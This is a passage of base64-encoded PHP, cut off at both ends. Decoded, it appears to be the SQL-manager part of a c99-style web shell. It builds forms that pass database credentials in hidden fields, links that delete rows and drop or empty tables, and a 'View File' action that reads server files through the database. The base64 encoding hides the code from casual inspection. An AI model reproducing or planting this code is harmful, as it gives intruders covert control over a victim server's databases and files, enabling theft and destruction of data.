ZWNpYWxjaGFycygkc3FsX2xvZ2luKSAuICJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9
XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkg
LiAiXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwi
IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpIC4gIlwiPjxpbnB1dCB0eXBlPVwiaGlk
ZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkc3Fs
X3BvcnQpIC4gIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1
ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKSAuICJcIj48aW5wdXQgdHlwZT1cImhp
ZGRlblwiIG5hbWU9XCJzcWxfb3JkZXJcIiB2YWx1ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRz
cWxfb3JkZXIpIC4gIlwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5h
bWU9XCJzcWxfdGJsX2xzXCIgdmFsdWU9XCIiIC4gJHNxbF90YmxfbHMgLiAiXCI+Jm5ic3A7PGI+
VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xlXCIgdmFs
dWU9XCIiIC4gJHNxbF90YmxfbGUgLiAiXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2
YWx1ZT1cIlZpZXdcIj48L2Zvcm0+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3Jk
ZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ0NvbG9yPSMz
MzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiI7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3df
YWxsXCIgdmFsdWU9XCIxXCI+PC90ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBmb3IgKCRpID0gMDskaSA8IG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgJHYgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZVswXSA9PSAiYSIpDQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgJHMgPSAiZCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgJG0gPSAiYXNjIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAkcyA9ICJhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk
bSA9ICJkZXNjIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD4iOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRlWzBdKSkNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkZVswXSA9ICJhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZVsxXSAhPSAkdikN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPVwiIiAuICRzcWxfc3VybCAuICJz
cWxfdGJsPSIgLiAkc3FsX3RibCAuICImc3FsX3RibF9sZT0iIC4gJHNxbF90YmxfbGUgLiAiJnNx
bF90YmxfbHM9IiAuICRzcWxfdGJsX2xzIC4gIiZzcWxfb3JkZXI9IiAuICRlWzBdIC4gIiUyMCIg
LiAkdiAuICJcIj48Yj4iIC4gJHYgLiAiPC9iPjwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxz
ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiPiIgLiAkdiAuICI8L2I+PGEgaHJlZj1c
IiIgLiAkc3FsX3N1cmwgLiAic3FsX3RibD0iIC4gJHNxbF90YmwgLiAiJnNxbF90YmxfbGU9IiAu
ICRzcWxfdGJsX2xlIC4gIiZzcWxfdGJsX2xzPSIgLiAkc3FsX3RibF9scyAuICImc3FsX29yZGVy
PSIgLiAkcyAuICIlMjAiIC4gJHYgLiAiXCI+PGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWlt
ZyZpbWc9c29ydF8iIC4gJG0gLiAiXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBhbHQ9XCIi
IC4gJG0gLiAiXCI+PC9hPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RkPiI7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgZWNobyAiPHRkPjxmb250IGNvbG9yPVwiZ3JlZW5cIj48Yj5BY3Rpb248L2I+PC9mb250
PjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90cj4iOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNo
X2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPiI7
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdyA9ICIiOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkayA9PiAkdikNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3IC49ICIgYCIgLiAkbmFtZSAuICJgID0g
JyIgLiBhZGRzbGFzaGVzKCR2KSAuICInIEFORCI7DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgJGkrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjb3VudCgkcm93KSA+
IDApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgJHcgPSBzdWJzdHIoJHcsIDAsIHN0cmxlbigkdykg
LSAzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94
XCIgbmFtZT1cImJveHJvd1tdXCIgdmFsdWU9XCIiIC4gJHcgLiAiXCI+PC90ZD4iOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkayA9PiAkdikNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGlmICgkdiA9PSAiIikNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICR2ID0gIjxmb250IGNvbG9yPVwiZ3JlZW5cIj5OVUxMPC9mb250PiI7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD4iIC4gJHYgLiAiPC90ZD4iOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBlY2hvICI8dGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8g
IjxhIGhyZWY9XCIiIC4gJHNxbF9zdXJsIC4gInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iIC4gdXJs
ZW5jb2RlKCRzcWxfdGJsKSAuICImc3FsX3RibF9scz0iIC4gJHNxbF90YmxfbHMgLiAiJnNxbF90
YmxfbGU9IiAuICRzcWxfdGJsX2xlIC4gIiZzcWxfcXVlcnk9IiAuIHVybGVuY29kZSgiREVMRVRF
IEZST00gYCIgLiAkc3FsX3RibCAuICJgIFdIRVJFIiAuICR3IC4gIiBMSU1JVCAxOyIpIC4gIlwi
PjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFs
dD1cIkRlbGV0ZVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+
Jm5ic3A7IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhy
ZWY9XCIiIC4gJHNxbF9zdXJsIC4gInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIgLiB1cmxl
bmNvZGUoJHNxbF90YmwpIC4gIiZzcWxfdGJsX2xzPSIgLiAkc3FsX3RibF9scyAuICImc3FsX3Ri
bF9sZT0iIC4gJHNxbF90YmxfbGUgLiAiJnNxbF90YmxfaW5zZXJ0X3E9IiAuIHVybGVuY29kZSgk
dykgLiAiXCI+PGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9Y2hhbmdlXCIgYWx0
PVwiRWRpdFwiIGhlaWdodD1cIjE0XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Jm5i
c3A7IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGQ+IjsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwi
bGVmdFwiPjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPWFycm93X2x0clwiIGJv
cmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfYWN0XCI+IjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9v
cHRpb24+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2
YWx1ZT1cImRlbGV0ZXJvd1wiPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIg
dmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPjwvcD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAg
IGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEUgU1RBVFVTIiwgJHNxbF9zb2Nr
KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRyZXN1bHQpDQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hv
IG15c3FsX3NtYXJ0ZXJyb3IoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhv
ZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBj
ZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxp
Z2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFt
ZT1cImJveHRibF9hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPjx0ZD48Y2VudGVyPjxiPlRhYmxlPC9i
PjwvY2VudGVyPjwvdGQ+PHRkPjxiPlJvd3M8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0
ZD48Yj5DcmVhdGVkPC9iPjwvdGQ+PHRkPjxiPk1vZGlmaWVkPC9iPjwvdGQ+PHRkPjxiPlNpemU8
L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAkaSA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0
c2l6ZSA9ICR0cm93cyA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxl
ICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQ0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkdHNpemUgKz0gJHJvd1siRGF0YV9sZW5ndGgiXTsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICR0cm93cyArPSAkcm93WyJSb3dzIl07DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgkcm93WyJEYXRhX2xlbmd0
aCJdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj4iOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBl
PVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsW11cIiB2YWx1ZT1cIiIgLiAkcm93WyJOYW1lIl0g
LiAiXCI+PC90ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAi
PHRkPiZuYnNwOzxhIGhyZWY9XCIiIC4gJHNxbF9zdXJsIC4gInNxbF90Ymw9IiAuIHVybGVuY29k
ZSgkcm93WyJOYW1lIl0pIC4gIlwiPjxiPiIgLiAkcm93WyJOYW1lIl0gLiAiPC9iPjwvYT4mbmJz
cDs8L3RkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+
IiAuICRyb3dbIlJvd3MiXSAuICI8L3RkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBlY2hvICI8dGQ+IiAuICRyb3dbIlR5cGUiXSAuICI8L3RkPiI7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+IiAuICRyb3dbIkNyZWF0ZV90aW1l
Il0gLiAiPC90ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAi
PHRkPiIgLiAkcm93WyJVcGRhdGVfdGltZSJdIC4gIjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD4iIC4gJHNpemUgLiAiPC90ZD4iOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIi
IC4gJHNxbF9zdXJsIC4gInNxbF9hY3Q9cXVlcnkmc3FsX3F1ZXJ5PSIgLiB1cmxlbmNvZGUoIkRF
TEVURSBGUk9NIGAiIC4gJHJvd1siTmFtZSJdIC4gImAiKSAuICJcIj48aW1nIHNyYz1cIiIgLiAk
c3VybCAuICJhY3Q9aW1nJmltZz1zcWxfYnV0dG9uX2VtcHR5XCIgYWx0PVwiRW1wdHlcIiBoZWln
aHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyZuYnNwOzxhIGhy
ZWY9XCIiIC4gJHNxbF9zdXJsIC4gInNxbF9hY3Q9cXVlcnkmc3FsX3F1ZXJ5PSIgLiB1cmxlbmNv
ZGUoIkRST1AgVEFCTEUgYCIgLiAkcm93WyJOYW1lIl0gLiAiYCIpIC4gIlwiPjxpbWcgc3JjPVwi
IiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRyb3BcIiBo
ZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9
XCIiIC4gJHNxbF9zdXJsIC4gInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIgLiAkcm93WyJO
YW1lIl0gLiAiXCI+PGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9c3FsX2J1dHRv
bl9pbnNlcnRcIiBhbHQ9XCJJbnNlcnRcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3Jk
ZXI9XCIwXCI+PC9hPiZuYnNwOzwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICRpKys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgZWNobyAiPHRyIGJnY29sb3I9XCIwMDAwMDBcIj4iOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj7CuzwvYj48L2Nl
bnRlcj48L3RkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD48
Y2VudGVyPjxiPiIgLiAkaSAuICIgdGFibGUocyk8L2I+PC9jZW50ZXI+PC90ZD4iOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+PGI+IiAuICR0cm93cyAuICI8L2I+
PC90ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+IiAuICRy
b3dbMV0gLiAiPC90ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8
dGQ+IiAuICRyb3dbMTBdIC4gIjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgZWNobyAiPHRkPiIgLiAkcm93WzExXSAuICI8L3RkPiI7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIGVjaG8gIjx0ZD48Yj4iIC4gdmlld19zaXplKCR0c2l6ZSkgLiAiPC9iPjwv
dGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPjwvdGQ+IjsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hh
ZGU+PHAgYWxpZ249XCJyaWdodFwiPjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1n
PWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfYWN0XCI+IjsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldp
dGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGRyb3BcIj5Ecm9wPC9vcHRpb24+IjsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGVtcHR5XCI+
RW1wdHk8L29wdGlvbj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8
b3B0aW9uIHZhbHVlPVwidGJsZHVtcFwiPkR1bXA8L29wdGlvbj4iOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsY2hlY2tcIj5DaGVjayB0
YWJsZTwvb3B0aW9uPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxv
cHRpb24gdmFsdWU9XCJ0YmxvcHRpbWl6ZVwiPk9wdGltaXplIHRhYmxlPC9vcHRpb24+IjsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibHJl
cGFpclwiPlJlcGFpciB0YWJsZTwvb3B0aW9uPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxhbmFseXplXCI+QW5hbHl6ZSB0YWJsZTwv
b3B0aW9uPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvc2VsZWN0
PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPjwv
cD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgk
cmVzdWx0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgJGFjdHMgPSBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgIiIsDQogICAgICAgICAgICAg
ICAgICAgICJuZXdkYiIsDQogICAgICAgICAgICAgICAgICAgICJzZXJ2ZXJzdGF0dXMiLA0KICAg
ICAgICAgICAgICAgICAgICAic2VydmVydmFycyIsDQogICAgICAgICAgICAgICAgICAgICJwcm9j
ZXNzZXMiLA0KICAgICAgICAgICAgICAgICAgICAiZ2V0ZmlsZSINCiAgICAgICAgICAgICAgICAp
Ow0KICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkc3FsX2FjdCwgJGFjdHMpKQ0KICAgICAg
ICAgICAgICAgIHsgPz48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIj48
dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+Q3JlYXRlIG5ldyBEQjo8L2I+PGZvcm0g
YWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
YWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1
ZT0ibmV3ZGIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/
cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJo
aWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hh
cnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZl
ciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48
aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRt
bHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNx
bF9uZXdkYiIgc2l6ZT0iMjAiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVh
dGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPlZpZXcgRmlsZTo8
L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRl
biIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxf
YWN0IiB2YWx1ZT0iZ2V0ZmlsZSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2lu
IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlu
cHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRt
bHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l
PSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2Vy
dmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9w
aHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4
dCIgbmFtZT0ic3FsX2dldGZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3Bl
